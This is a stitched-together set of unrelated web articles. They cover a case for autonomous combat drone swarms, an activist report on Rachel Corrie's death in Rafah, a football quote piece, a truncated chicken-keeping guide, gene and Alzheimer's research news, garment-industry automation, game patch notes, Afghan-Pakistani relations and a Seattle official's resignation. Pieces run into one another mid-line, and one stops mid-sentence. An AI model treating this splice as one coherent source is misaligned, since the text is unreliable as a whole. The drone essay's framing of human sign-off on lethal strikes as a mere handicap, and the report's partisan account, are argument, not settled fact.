Look at the USAF’s pending replacement program for the T-38C Talon, dubbed the T-X. If the USAF procured UCAVs aggressively how many billions would be saved on new training aircraft purchases simply because they won’t be needed? In fact, there may be no need for a T-X program at all, at least for a couple more decades, as the T-38 fleet could be consolidated and the its life stretched for many more years. This also underscores how a secret UCAV program, one that could be drastically expanded in the coming years if it were declassified, would make investing into an expensive new jet trainer program a monumental waste of money in the near term. The truth is that a front-line fighter jet will spend the vast majority of its flying life honing pilot skills, not flying combat missions. This takes massive amounts of fuel, maintenance man hours and parts, and a gargantuan backend support infrastructure. The fact that a UCAV requires none of this really is the concept’s biggest savings opportunity. Simply put, flying skills are not required to be a part of a UCAV’s command and control cadre. There are simply no pilots to train.
YouTube Screencap Lockheed's T-X candidate, the T-50A, which is based on the KAI/Lockheed Golden Eagle, took its first flight on June 6th. You can seevideo of it here. Whoever wins the contract is slated to produce hundreds of trainers for the USAF.
Considering that the lowest cost per flight hour estimates for the F-35 are $32,000, with this number likely being far larger in reality, not having to fly a vehicle regularly at all is a very big deal. Beyond maintenance test flights and limited training and tactics certification exercises, UCAVs can remain in storage until they are needed for combat. UCAVs also don’t require combat search and rescue forces. If a UCAV is shot down, dozens of combat search and rescue and support aircraft don’t have to attempt a daring rescue of a downed aircrew. This also means less CSAR assets will be needed in inventory. This is a big deal considering the USAF has struggled for well over a decade to fund a new CSAR helicopter. And of course the potential ramifications of more lives being put in danger to rescue a downed aircrew behind enemy lines become a non-factor with UCAVs.
Tyler Rogoway/Author
The thing is, the USAF really doesn’t have a good answer when it comes to providing combat search and rescue capability for aircrews that fly aircraft like the F-35, F-22 and B-2. These jets can penetrate hundreds or even thousands of miles (in the B-2’s case) deep into highly contested airspace. Flying CSAR helicopters and their escorts (HH-60s or CV-22s and MC-130s) into such a situation would be ridiculously perilous proposition to say the least. With UCAVs this tactical conundrum vanishes. -UCAV design and procurement can rapidly adapt to changing tactical realities: Since they don’t have to have an 8,000 plus flight hour lifespan that will be spread over many decades, new UCAVs with enhanced design features and better low observable qualities can be bought on a regular basis. Such a concept also has the potential to greatly smooth the USAF’s notoriously disgraceful and unsustainable big-ticket weapons procurement process. Instead of buying an entirely new fighter jet every couple of decades, the service can constantly buy far cheaper UCAV designs in tranches of ever increasing capabilities tailored to match emerging threats in near real-time. This type of procurement concept allows for a far more nimble response to changing tactical challenges, and in doing so it puts America’s potential enemies at a drastically greater disadvantage when it comes to trying to counter our own capabilities. As UCAVs evolve, older units can be re-roled to perform non “tip of the spear” but still essential duties. These include tanking, acting as communication relays, flying data fusion centers, surveillance platforms and acting as arsenal ships for troops on the ground in lower-threat combat environments. In other words, commanders can use their newest, most updated UCAVs for kicking down the enemy’s door while also using older systems to fulfil other critical but less risky missions where a UCAV’s persistence is still a big plus. In the end, a UCAV, no matter how stealthy or advanced it is, is still capable of staying aloft for hours with a relatively large payload. As such, older designs will have many uses even after their “first day of war” utility is degraded by the passage of time.
Dassault
- In many high-risk combat situations a swarm of UCAVs may be far more effective than a large strike package made up of manned aircraft: A networked swarm of UCAVs has the potential to react to changes on the battlefield at microprocessor speeds. This allows them to totally outpace the enemy’s ability to employ countering tactics and even make decisions. Unlike humans, the swarm has few limits on how much information it can digest at a time and each node (UCAV) within a swarm adds to the quality of its overall situational awareness and effectiveness on the battlefield. Highly advanced tactics can be employed by the swarm to confuse the enemy and disrupt their ability to defend themselves. This can be done without any traditional radio communications. A directional line-of-sight data-link, such as one similar to the F-35’s stealthy “daisy chain” data-link concept known as Multifunction Advanced Data Link, or MADL for short, could facilitate robust and highly-secure data flow throughout a swarm and even back into friendly territory and then to satellites up above.
Lockheed Martin
Introducing a high-flying connectivity node, an aircraft-based data fusion center and rebroadcasting system, could allow many smaller swarms to be linked together over a vast distance, creating a super-swarm running on what would be akin to a hive mind. Such an increase in communications capability could greatly expand the geographical range, data-exchange capabilities and size of a swarm. Regardless of its networking scheme, the swarm concept takes the X-45’s DICE software and UCAV autonomy to a whole other level, although the basic nuts and bolts remain the same as they were a decade ago. With a swarm of dozens, or even hundreds of networked UCAVs fighting all at 100 percent efficiency at all times, the enemy is faced with the monumental task of defending themselves against such an efficient, agile and persistent foe. Advanced tactics, such as multi-vector attacks replete with decoys and jamming, could be executed by the swarm’s best available assets to solve a tactical problem, even an unplanned one. Based on pre-programmed directives, the swarm can instantly vector the right pairing of assets to take out a particular threat or perform a certain task at hand. If that threat is an advanced surface-to-air missile battery, maybe the swarm assigns a pair of Small-diameter Bomb slinging UCAV strikers, one UCAV equipped with electronic jamming systems, and two more to make a decoy attack from high altitude. If the SAM site is less threatening in nature, maybe the swarm sends a single UCAV nearby to drop a JDAM on it, or the swarm avoids it entirely.
Dassault
There is no magic behind this capability; the swarm’s software would have pre-loaded responses to various stimuli and situations with a certain amount of AI built in to cope with complex scenarios. In a fully autonomous fashion, the swarm will make the decision of how to deal with the threat based on its programming without a human interrupting its onslaught. If they are running in a semi-autonomous fashion they will ask for permission or even direction from a human operator before executing certain tasks. The filer of what task is worthy of asking permission can be set by mission planners before the mission is executed. For instance, changing a route to avoid an enemy SAM site autonomously may be allowed, while attacking that same site may need permission from a human operator. This method, although maybe politically more accommodating, handicaps the true crushing offensive potential of the swarm. We will talk more about this in a moment. Redundancy is also a major potential feature of UCAV swarms. If one UCAV gets shot down or malfunctions the swarm just continues on using the assets it has available to achieve the maximum possible effects based on the mission at hand. The loss may degrade the overall fidelity of the swarm’s situational awareness and battlefield “picture,” but it will continue on making the best of the existing resources at hand. In other words, the system is constantly trying to achieve the highest possible efficiency based on its programming and the assets it has available at its disposal. And all of this is done automatically, without traditional communications and human-to-human coordination. -Air-To-Air may be the swarm’s greatest trick: For so long UCAVs have been seen as strictly deep strike and surveillance platforms, but when networked together, they could offer an incredible counter-air capability. Even the subsonic and less than highly maneuverable but very stealthy flying-wing UCAV configurations that we know of today could be absolutely devastating when it comes to sanitizing enemy airspace. The same swarm technology applies to the air-to-air realm as it does to attacking pop-up SAM sites. In fact, under certain circumstances enemy fighters may be an easier threat for UCAVs to deal with than those emanating from the ground. Enemy aircraft would have a very hard time remaining undetected in airspace that an operational swarm of UCAVs is operating in. Its cloud-like mind will leverage feeds from the multitude of sensors carried by its individual UCAVs, all spread over a wide area. In essence, the swarm acts as is its own virtual AWACS, although in some cases it is far superior as it is forward deployed, can carry a diverse set of sensors spread over a wide area, and the data it collects can be enacted upon instantaneously.
DARPAAn ISM volunteer holds up Rachel Corrie’s US passport as another peace activist sits in shock, Al-Najjar Hospital, Rafah, Occupied Gaza. Rachel was killed by an Israeli bulldozer driver while protesting the demolition of a Palestinian home. (Mohammad Al-Moghair)
On 16 March 2003 in Rafah, occupied Gaza, 23-year-old American peace activist Rachel Corrie from Olympia, Washington, was murdered by an Israeli bulldozer driver. Rachel was in Gaza opposing the bulldozing of a Palestinian home as a volunteer with the International Solidarity Movement.
Rachel and seven other ISM activists were in the Hi Es Salam area of Rafah, Gaza, trying to prevent the razing of Palestinian land and property. Present were two Israeli occupation army bulldozers and a tank. For a period of two hours, the activists played ‘cat and mouse’, attempting to prevent the illegal demolitions by physically blocking the passage of the two bulldozers.
Rachel Corrie (ISM Handout)
“Rachel Corey [sic], 23 years old from the state of Washington, was killed while she was trying to prevent Israeli army bulldozers from destroying a Palestinian home. Other foreigners who were with her said the driver of the bulldozer was aware that Rachel was there, and continued to destroy the house. Initially he dropped sand and other heavy debris on her, then the bulldozer pushed her to the ground where it proceeded to drive over her, fracturing both of her arms, legs and skull. She was transferred to hospital, where she later died. Another foreigner was also injured in the attack and has been hospitalized - at this stage his nationality is unknown.” (15 March 2003) A press release from the International Solidarity Movement stated that: “Rachel had been staying in Palestinian homes threatened with illegal demolition, and today Rachel was standing with other non-violent international activists in front of a home scheduled for illegal demolition. According to witnesses, Rachel was run over twice by the Israeli military bulldozer in its process of demolishing the Palestinian home. Witnesses say that Rachel was clearly visible to the bulldozer driver, and was doing nothing to provoke an attack.” (15 March 2003)The photos below clearly show that Rachel was well marked, had a megaphone which removes any doubt that the activists’ presence was somehow invisible to the driver, and she clearly posed no threat to the bulldozer driver.
Picture taken between 3:00-4:00PM, 16 March 2003, Rafah, Occupied Gaza. Rachel Corrie (L) and Nick (R) oppose the potential destruction of this home (to the west of the Doctor’s home where Rachel was killed). In the instance pictured, the bulldozer did not stop and Rachel was pinned between the scooped earth and the fence behind her. On this occasion, the driver stopped before seriously injuring her. Photo by Joseph Smith (ISM Handout).
Picture taken between 3:00-4:00PM on 16 March 2003, Rafah, Occupied Gaza. A clearly marked Rachel Corrie, holding a megaphone, confronts the driver of one of two Israeli bulldozers in the area that were attempting to demolish a Palestinian homes. She was confronting the bulldozer in order to disrupt its work, and prevent it from threatening any homes. Photo by Joseph Smith. (ISM Handout)
Picture taken at 4:45PM on 16 March 2003, Rafah, Occupied Gaza. Other peace activists tend to Rachel after she was fatally injured by the driver of the Israeli bulldozer (in background). This photo was taken seconds after the bulldozer driver dragged his blade over her for the second time while reversingback over her body. He lifted the blade as seen in the photo only after he had dragged it back over Rachel’s body. This image clearly shows that had he lifted his blade at any time he may have avoided killing her, as the bottom section of the bulldozer is raised off the ground. Photo by Richard Purssell. (ISM Handout)
Picture taken at 4:47PM on 16 March 2003, Rafah, Occupied Gaza. Rachel Corrie lies on the ground fatally injured by the Israeli bulldozer driver. Rachel’s fellow activists have dug her a little out of the sand and are trying to keep her neck straight due to spinal injury. Photo by Joseph Smith. (ISM Handout)
Rachel in Najjar hostpital, Rafah, Occupied Gaza. Rachel arrived in the emergency room at 5:05PM and doctors scrambled to save her. By 5:20PM, she was gone. Ha’aretz newspaper reported that Dr. Ali Musa, a doctor at Al-Najjar, stated that the cause of death was “skull and chest fractures”. (Mohammad Al-Moghair)
A later report from ISM Media Coordinator Michael Shaik in Beit Sahour offered more details about the events:
“The confrontation between the ISM and the Israeli Army had been under way for two hours when Rachel was run over. Rachel and the other activists had clearly identified themselves as unarmed international peace activists throughout the confrontation. The Israeli Army are attempting to dishonour her memory by claiming that Rachel was killed accidentally when she ran in front of the bulldozer. Eye-witnesses to the murder insist that this is totally untrue. Rachel was sitting in the path of the bulldozer as it advanced towards her. When the bulldozer refused to stop or turn aside she climbed up onto the mound of dirt and rubble being gathered in front of it wearing a fluorescent jacket to look directly at the driver who kept on advancing. The bulldozer continued to advance so that she was pulled under the pile of dirt and rubble. After she had disappeared from view the driver kept advancing until the bulldozer was completely on top of her. The driver did not lift the bulldozer blade and so she was crushed beneath it. Then the driver backed off and the seven other ISM activists taking part in the action rushed to dig out her body. An ambulance rushed her to A-Najar hospital where she died.”
Colleagues of Rachel comfort each other in Najjar hostpital, Rafah, Occupied Gaza. Ha’aretz newspaper reported that a second activist was also injured at the same location. (Mohammad Al-Moghair)
Members of the Israeli army and associated Israeli settler paramilitary units have been responsible for the killing of 2,181 Palestinians and the injuring of another 22,218 between 29 September 2000 and 14 March 2003.
In addition to the killing of Rachel Corrie by the bulldozer driver, Israeli troops have shot and killed several other internationals in different incidents during the Intifada: German doctor Harald Fischer, Italian cameraman Rafaeli Ciriello, and British United Nations worker Iain Hook.
Related links * BY TOPIC: Rachel Corrie
Nigel Parry and Arjan El Fassed are two founders of the Electronic Intifada. Michael Brown and Ken Harper also contributed to this report. Last updated: 21 March 2003 (added detail to captions in images and context to second paragraph).Rangers boss Harry Redknapp insists they could not afford to keep Loic Remy in the Championship.
The £8million striker was loaned out to Newcastle at the beginning of the season, and Harry is at pains to point out had he been able to keep some of the relegated Premier League squad, Rs would be skating the second tier right now, rather than almost certainly having to depend on the play-offs for promotion.
“Half of the squad had to go out on loan because they were on too much money,” he said. “Do you think we would be up there if Remy was still here?
“Where do you think we’d have been if we could have kept hold of him? But we couldn’t – he was earning too much money, and we had to build a new team.
“(Manager) Nigel (Pearson) has built a team at Leicester over the last three years.”
QPR expect eight players out for the trip to Middlesbrough tomorrow with the manager calculating bar a miracle Leicester and Burnley had nailed down the automatic promotion spots, with four from the next six contesting the play-offs.
He added: “Reading and Brighton outside the top six are looking good.”If you have a small piece of land or even a backyard, you can have a few chickens. It is a trend that is becoming more en vogue in suburbs across the country. Chickens are not just for the rural families anymore. With the price of food constantly on the rise, more stories about the conditions chickens are living in and the food recalls that seem to come out every week, raising your own food just makes good sense.
If you want to know how to raise chickens, you are in the right place.
Fortunately, chickens are pretty self-sufficient. They don’t require a great deal of work and they are not free-loaders. Chickens provide you with food and help control bugs in your yard or garden. They are like mini-cultivators as well and will help keep weeds down. Chickens are inexpensive and a valuable resource. Check out how you can make chickens work for you.
What kind of chickens do you need?
There are two types of chickens you will need to choose from when you head to the farm store to pick up your chicks in the spring. There are chickens that are bred with the purpose of becoming dinner for you and chickens that are bred to be excellent egg layers. Not all chickens make good egg layers.
See also: How To Raise Ducks: Keeping Them All In A Row
We are going to discuss some of the more popular breeds of chickens. However, in reality, all chickens will lay eggs and all chickens can be used for meat. It is all about getting the biggest bang for your buck.
Meat chickens
Meat chickens are basically chickens that get nice and fat within a short amount of time. What you need to know about how to raise meat chickens is the fact you will typically only have them for about six months at the most before it is time to butcher them. Young chickens taste better. Chickens that approach that one year mark tend to be a little tough. You could put them in the stew pot, but ideally, you want young chickens in order to get the best meat possible.
There are two main types of meat chickens; broilers and roasters. Broilers are around the 4 to 5 pound mark, while roasters are 8 to 9 pounds. Broilers do tend to have problems with walking around. They gain a lot of weight quickly and their little legs cannot support them. Fast growing, the kind that need butchering by 8 weeks, are going to have the most problems with the legs. Chickens that cannot walk will be sickly and will not be suitable for eating. Slow growing, 12 week butcher, are a little easier to manage.
You want chickens that will mature and fatten up quickly so you are not wasting a lot of money
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words, they showed learning and memory deficits that were specifically related to associative learning. The control mice with the neuroplastin gene switched on, by contrast, could still do the task perfectly.
Professor Detlef Balschun from the KU Leuven Laboratory for Biological Psychology: "We were amazed to find that deactivating one single gene is enough to erase associative memories formed before or during the learning trials. Switching off the neuroplastin gene has an impact on the behaviour of the mice, because it interferes with the communication between their brain cells."
By measuring the electrical signals in the brain, the KU Leuven team discovered clear deficits in the cellular mechanism used to store memories. These changes are even visible at the level of individual brain cells, as postdoctoral researcher Victor Sabanov was able to show.
"This is still basic research," Balschun adds. "We still need further research to show whether neuroplastin also plays a role in other forms of learning."Rutgers’ new offense will call for a new type of quarterback as the coaching staff has been targeting dual-threat signal-callers for the future. That led to the pursuit of Overbrook (N.J.) class of 2016 quarterback Thomas Wyatt, who will suit up this summer as a true freshman.
"I've been talking to coach [Rick] Mantz," said Wyatt, who had previously committed to Army. "Once my academic documents get through admissions, I'll be walking on to play quarterback. There may be a possibility of a gray shirt scholarship, but I'm not sure yet. They said I have to come this fall and earn it."
Wyatt visited Rutgers on Valentine's Day and talked about the most recent conversation he had with Head Coach Chris Ash.
"He told me how proud he was of me for wanting to represent New Jersey and how I need to work really hard over this offseason to make sure I get a solid shot at being the shot caller this year. He explained how all the QBs are new to him and all on the same playing field. No favoritism, he plays his best players. So he explained how it was up to me to decide, to put the work in or be satisfied with a roster spot.”
Wyatt has also had some recent conversations with offensive coordinator Drew Mehringer.
“He said the same thing about working hard and the playing field. And he also is very heavy on character and leadership, not just playing ability,” Wyatt said.
Wyatt's recent visit to Rutgers was a productive one and has him excited about the future.
“It was great. The new coaching staff gives off great energy,” Wyatt said. “They talked to me about attitude and effort. That stuck in my head the most. Other than that, they are changing the whole program around. I love what they have planned and what they are doing now. It seems like a great place to be and that's why I'm going. I can't wait to be a part of this new spread offense.”
Wyatt is planning to get back to Rutgers for a spring practice and the Scarlet-White Spring Game.
Here is a look at highlights from Wyatt’s senior season at Overbrook.More and more companies in the textiles, clothing and footwear business are turning to advanced manufacturing technologies – robotic sewing machines and connected systems – to reduce the number of humans in their factories, along with the financial and social costs of employing them.
One of the largest apparel manufacturers in India, Raymond, which employs 30,000 human workers, says it plans to replace 10,000 of them with robots over the next three years.
As quoted by the Economic Times, the CEO of Raymond, Sanjay Behl, says: “Roughly 2,000 work in each plant. Through technological intervention we are looking to scale down the number of jobs to 20,000, through multiple initiatives in technology. One robot could replace around 100 workers. While it is happening in China at present, it will also happen in India.”
Meanwhile in China, as reported in the South China Morning Post, factories which may have once been considered “sweatshops” are now being transformed into hi-tech production facilities full of robotics and automation technologies where there may have been hundreds and hundreds of humans.
Available in your seismic shift
However, while there may be interesting stories emerging of plucky foreigners coming to grips with what is essentially Western technology to improve the lot of their downtrodden masses, these stories do not necessarily represent the tip of any iceberg: the overwhelming majority of clothing products in the world is still made by sweaty humans.
The seismic shift which may occur over the next few years could result in a lot of these clothing products being made in Europe and America. Sweatshops without the sweat may increasingly appear in Western countries because more companies in those regions are more likely to be able to afford the technology.
For now, China and India are among the largest apparel manufacturers in the world, but many other Asian countries, as well as many other developing countries around the world, also have huge numbers of people employed in the textiles, clothing and footwear sector.
Some of these developing countries, such as Bangladesh, have economies which are largely dependant on the clothing industry for their economic growth, according to Quartz.
And their customers are mainly in Europe and the US.
According to the most recent annual survey by the United States Fashion Industry Association, the top 10 countries in the supply chain are:
China Vietnam India Bangladesh Mexico Cambodia Pakistan Philippines United States Sri Lanka
The USFIA survey questioned executives from 30 US fashion companies, 18 of which employ more than 1,000 people.
The industry association asked the executives to select all sourcing destinations they are currently using, and China was one country chosen by 100 per cent of respondents, and 40 other countries make the list.
A partial representation of the respondents’ sourcing base is shown below in this bar chart, which uses USFIA data.
No more jobs for the boys
In a report released a couple of months ago, the International Labour Organization says the vast majority of human workers in many of the largest clothing manufacturing nations are at risk of losing their jobs to robotics and automation.
The ILO is mainly concerned with stopping child labour and other exploitative practices, which have often been reported as being prevalent in the garments manufacturing industry, in which the majority of workers are women.
The ILO says that the textiles, clothing and footwear sector is at “the highest risk of automation” out the five sectors it analysed, which were: automotive and auto parts; electrical and electronics; textiles, clothing and footwear; business process outsourcing; and retail.
Globally, says the ILO, the textiles, clothing and footwear is “monopolized by China”, which has a dominant market leadership, accounting for more than 31 per cent of global textile exports, 37 per cent of clothing exports and over 39 per cent of footwear exports.
The ILO estimates that approximately 9 million people in the Association of Southeast Asian Nations region are employed in the textiles, clothing and footwear sector, adding that “significant shares” of these workers are at “high risk of automation”.
The ILO estimates that as much as 64 per cent of workers in Indonesia are at risk of being automated out of the factories, 86 per cent in Vietnam, and 88 per cent in Cambodia.
Meanwhile, according to the US government’s Office of Textiles and Apparel data, China is by far the largest supplier to the US.
The Economist Intelligence Unit, which analysed the data, says US imports of textiles and apparel products amounted to $104 billion for the first 11 months of 2015, and Asian suppliers accounted for approximately three-quarters of this total.
Sources: The Economist Intelligence Unit; US Office of Textiles and Apparel
Rise of the sewbots
The idea that robotics and automation technologies can be used to compete with cheap foreign labour might be what underpins US presidential candidate Donald Trump’s claim that he can bring back manufacturing jobs to the US.
And who’s to say he’s wrong?
As the ILO puts it: “Automated cutting machines are now becoming a widely available technology, and robots capable of sewing – sometimes called ‘sewbots’ – will soon change the calculus of textiles, clothing and footwear production.
“Sewbots are unlikely to displace current workers in Asean garment factories, but more likely to be deployed in destination markets such as China, Europe and the United States. The disruptive impact on the sector in Asean could be very substantial, as robotic automation poses a significant threat of job displacement.”
Although “sewbot” is being used in this article as a generic term to mean robotic sewing machines, “Sewbot” is a trademark of Softwear Automation, according to the company.
An example of a sewbot is Lowry, the machine launched last year by Softwear Automation. The US company is also developing something called an automated sewing machine, planned for launch by the end of this year.
Softwear Automation’s CEO, KP Reddie, says: “Our machines can run 24 hours straight – which is much longer than a traditional shift by a sewer (human sewing machine operator). Additionally, the precision is much greater so there is less wasted product.”
If this is true, millions of workers in the textiles, clothing and footwear sector across the world, not just in the Asean region, will be thrown out of work.
The ILO says: “In both China and Thailand, sewbots are likely to be more economical if investments are made after 2020. Our estimates show that human labour can be up to 50 per cent more expensive than sewbots in China, and a break-even point could be reached in Thailand by 2025.”Tank melee attack can now hit multiple Survivors in one swing
Fixed Tank punch being able to hit targets behind walls
Fixes to 'Tank parking'. The Tank will now run back and attack the Survivors if he becomes AI due to two players expiring the frustration meter
Fixed a case where a Tank frustration meter could run out right as he was in his death animation and he would come back to life
Fixed a case where the Tank was moving too slowly while crouching and being shot
Tanks now have the possibility of spawning in a slightly different position for the first and second teams
The order that the teams play as Survivors is now determined by which team has the higher overall score. The winning team will play as Survivors first
The Smoker tongue can now target and grab victims through common infected
Increased the cone in which a Smoker can grab a target
The Witch no longer cuts Smoker tongues in a radius around her
Boomers that explode in mid-air will now hit Survivors directly below them with Bile
Reduced the damage that burning Hunters do to pounced victims
Adjusted the time at which players take over from bots to avoid 5 seconds of the bot standing idle while the player finishes connecting.
Fixed some cases where versus score was not being recalculated properly. It is no longer beneficial to pass pills between players at the end of the round or heal other players and then shoot them
Fixed a case where it was possible to spectate an AI infected and hit +use to take them over
Added convar sv_gametype that allows server operators to limit the types of games that will start on their server. Default value is 'coop,versus'. Can be changed to just 'coop' or just'versus' to limit to those game types
Fixed a case where players would join as a dead Survivor when a living Survivor was still available
Fixed a case where restarting a level due to the team dying would give more than the max primary ammo on restart
Fixed the speaking icon showing up on the local player during level transition if voice_vox was set to 1
The scoreboard now shows the numeric value of a player's ping
Quick match will now try to match to any campaign. Removed the preference to match to games according to the player progressing through all campaigns
Games in a finale are now joinable via the Friends and Steam Group games list
Updates to Left 4 Dead have been released. The updates will be applied automatically when your Steam client is restarted. The specific changes include:Kabul: Afghan President Ashraf Ghani has hit out at Pakistan for providing safe havens to terrorists and said having state-to-state ties with the neighbouring country a "bigger challenge" for his government than combating terror groups such as al-Qaeda and Taliban.
The Afghan President also said that Kabul was proud of its friendship with India as New Delhi shares Afghanistan's democratic aspirations.
In contrast, Ghani said that Pakistan provides sanctuaries to terrorists and trains them, making relations with Pakistan, the bigger challenge for his country.
"We cannot understand when Pakistan says it will not allow a group of terrorists to amend its constitution, army act and prepares a National Action Plan against them.
"Simultaneously, Pakistan tolerates another group which attempts to undermine the government and bring horror, death and destruction to Afghanistan," Ghani told Geo News.
The 64-year-old Afghan president said he can provide addresses of Taliban leaders in the Pakistani city of Quetta, Dawn quoted the Afghan president as saying Saturday, a day Kabul witnessed the deadliest terror attack in 15 years which killed 80 people and left hundreds injured.
Ghani claimed that Afghan forces have bombed the chief of Tehreek-i-Taliban Pakistan (TTP), Mullah Fazlullah, 11 times along with attacks on his close aides.
"Can you show me a single operation against the Haqqani network, against Mullah Omar, against Mullah Mansoor, Mansoor traveled on a Pakistani passport out of Karachi, does Fazlullah travel on an Afghan passport out of Kabul," asked Ghani.
The Afghan President also alleged terrorists wounded in Afghanistan are openly treated in Pakistani hospitals. "Afghan designated terrorists also hold open meetings in Islamabad," he said.
Ghani rejected allegations that Afghan government had leaked the news of former Afghan Taliban chief Mullah Omar's death, which resulted in suspension of Pakistan-facilitated dialogue between the Taliban and government in the Pakistani resort city of Murree.
"The news of Mullah Omar's death came from the Taliban. We did not leak it, we just gave an official statement. After the news was leaked, we confirmed it from 19 sources, all within Taliban network," said the Afghan president.
Responding to a question, Ghani said Afghanistan was proud of its friendship with India, as India shares Afghanistan's democratic aspirations.
"India is a historical friend of Afghanistan, India is building dams in Afghanistan, it is a democratic country and shares our democratic aspirations," said Ghani, adding that his country's foreign policy is no other country's business.
Ghani presented a three point agenda in order to build trust measure with Pakistan.
He asked Pakistan to go after declared terrorist groups, saying "if you don't take action against them, we won't trust you."
Ghani said all countries should act on the quadrilateral process, regarding reconcilable and irreconcilable (groups).
Thirdly, he said those who reject peace talks should be evacuated from Pakistan.
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Seattle Chief Technology Officer Erin Devoto resigned today after accepting a job with the City of Kirkland in the Public Works department.
Devoto, who replaced former CTO Bill Schrier in April 2012, spent 13 years with city government both at the Parks and IT departments. She told GeekWire that her new gig with the City of Kirkland is “right up her wheelhouse,” and that her departure from Seattle was amicable.
“It’s hard to think about leaving the City of Seattle, but this is a great opportunity for me,” Devoto said.
Mayor Ed Murray thanked Devoto for her service and noted her leadership on several tech-related projects.
“As the Chief Technology Officer, Erin led the Department of Information Technology and several city-wide technological initiatives, including leasing of the City’s excess dark fiber, migration of all employees to a new email archiving system, creation of a new model for public access television channels, and has laid the groundwork for the efficiencies we’re anticipating with implementation of Microsoft Office 365 in the cloud and consolidation of the City’s data center,” Murray said in a statement.
As CTO, Devoto had management oversight of nearly 200 employees and an annual operating budget of more than $79 million. She worked on a variety of projects, from helping migrate workers to Outlook to creating the ordinance that allowed third party providers to lease the excess fiber in Pioneer Square.
“I’m really proud of what the department achieved,” she said. “It is a phenomenal staff.”
Devoto was in charge of the city’s technology arm during the failed high-speed Internet network partnership with Gigabit Squared, a private company that had problems securing financing to install the network.
“Am I really fond of how Gigabit fell on their face? No,” Devoto said. “I am sorry they couldn’t get it together, but I know the new administration is looking at how they can best approach this.”
Devoto stressed the difficulty of getting fiber Internet to every single home in Seattle, whether through a private partnership or by a municipal utility strategy.
“At the end of the day, it’s all about revenue and money,” she said.
The Mayor’s office will name an interim replacement in the coming weeks and will begin searching for someone to permanently fill the role. The position is classified by the City as “Executive 4,” with salary ranging between $127,932 to $211,076.
Update, 5:30 p.m.: This story was updated with comments from DevotoResearchers have found that two proteins which work in tandem in the brain's blood vessels present a double whammy in Alzheimer's disease. Not only do the proteins lessen blood flow in the brain, but they also reduce the rate at which the brain is able to remove amyloid beta, the protein that builds up in toxic quantities in the brains of patients with the disease.
The work, described in a paper published online Dec. 21 in the journal Nature Cell Biology, provides hard evidence directly linking two processes thought to be at play in Alzheimer's disease: reduction in blood flow and the buildup of toxic amyloid beta. The research makes the interaction between the two proteins a seductive target for researchers seeking to address both issues.
Scientists were surprised at the finding, which puts two proteins known for their role in the cardiovascular system front and center in the development of Alzheimer's disease.
"This is quite unexpected," said Berislav Zlokovic, M.D., Ph.D., a neuroscientist and a senior author of the study. "On the other hand, both of these processes are mediated by the smooth muscle cells along blood vessel walls, and we know that those are seriously compromised in patients with Alzheimer's disease, so perhaps we shouldn't be completely surprised."
The new findings are the result of a seven-year collaboration between two laboratories. Zlokovic heads the Center for Neurodegenerative and Vascular Brain Disorders, looking at molecular roots of diseases like Alzheimer's. Several years ago, after he found that several genes well known to cardiovascular researchers seemed to be especially affected in Alzheimer's patients, he turned to Joseph Miano, Ph.D. to help analyze the findings. Miano is interim director of Aab Cardiovascular Research Institute and associate professor of Medicine, and he is senior co-author of the new study.
"To some, it might seem odd that a cardiovascular group would intersect with a neuroscience group to study Alzheimer's disease," Miano said. "But there's a great deal of evidence to suggest that Alzheimer's disease is a problem having much to do with the vascular plumbing. And Rochester is the type of institution where partnerships like these are easy to strike up."
For 15 years Zlokovic's laboratory has focused on the molecular mechanisms regulating blood supply and the role of the blood-brain barrier in the development of Alzheimer's disease. It's not simply that reduced blood supply hurts brain cells by causing a shortage of oxygen and other nutrients. Rather, deterioration of blood flow seems to gum up the brain's ability to remove toxic amyloid beta.
Normally, amyloid is picked up efficiently by blood vessels that then whisk the toxic trash away. But in Alzheimer's disease, the system no longer is able to keep up with the body's production of the substance. The molecular trash accumulates, and Zlokovic and others believe the buildup kills brain cells.
The current work focuses on two proteins well known to cardiovascular researchers, SRF (serum response factor) and myocardin. The two work together within smooth muscle cells that line blood vessels to activate genes that are necessary for smooth muscle to function properly. SRF binds to certain snippets of DNA called CArG boxes and serves as an anchor, while myocardin piggybacks along and turns on the genes to which SRF sticks. Together they act as a master switch that determines whether smooth muscle cells contract – one of many ways the body controls just how much blood is flowing in the body.
Two years ago, Zlokovic and Miano published a study showing that the two proteins are much more active in the blood vessels of brains of people with Alzheimer's disease than in people who do not have the disease. They showed that when they reduced the activity of the proteins, blood flow in the brain increased, and when the genes were more active, blood flow decreased.
The latest report goes further, implicating the molecular duo in the slowed removal of amyloid beta. The team found that SRF and myocardin working together turn on a molecule known as SREBP2. That protein inhibits a molecule known as LRP-1, which helps the body remove amyloid beta. In other words, when SRF and myocardin are active, toxic amyloid beta accumulates.
The findings came primarily from the team's studies of brain cells taken from people who had Alzheimer's disease and comparing them to cells from healthy elderly people.
Compared to the smooth muscle cells from healthy adults, the cells from patients with Alzheimer's disease had about five times as much myocardin and four times as much SRF, about five times as much SREBP2, and about 60 percent less LRP-1. That translated into a reduced ability to remove amyloid beta: Cells taken from patients with the disease had only about 30 percent of the ability to remove the substance as cells taken from their healthy counterparts.
When the team lowered levels of SRF to the same level that exists in healthy cells, the cells from Alzheimer's patients improved in their ability to remove amyloid beta, doing it just as well as cells from healthy individuals. Conversely, when the team boosted levels of SRF and myocardin in the healthy cells, the changes lowered by about 65 percent those cells' ability to remove amyloid beta.
In mice, the team found parallel results. When the team boosted SRF or myocardin in healthy mice, those mice had about twice as much SREBP2 in their smooth muscle cells in the brain's blood vessels. They also had 90 percent less LRP-1, three times as much amyloid beta in their arteries, and 70 percent more amyloid beta in their brain tissue.
When the team reduced SRF and myocardin in mice prone to developing Alzheimer's disease, those mice had 60 percent less SREBP2, about four times as much LRP-1, and a 50-percent reduction in amyloid beta in their blood vessels.
The first author of the study is Robert Bell, a graduate student in Zlokovic's laboratory who is in Department of Pathology and Laboratory Medicine's graduate program. He had searched for months, without success, for evidence of a direct effect on LRP-1 by SRF/myocardin. A subsequent literature search turned up findings that the molecules might affect SREBP2. With that finding, the team was able to move forward and put the whole picture together.
Now the team has turned its attention to studying the role of hypoxia, which seems to play a role in turning on myocardin, as well as searching for molecules that block the hookup between SRF and myocardin.
The work was funded primarily by the National Institute on Aging. Other funding came from the National Institute of Neurological Disorders and Stroke, and from Socratech Laboratories, a company founded by Zlokovic that is seeking to commercialize discoveries related to his work on Alzheimer's disease and stroke. Both Zlokovic and Miano hold a significant equity stake in the company.
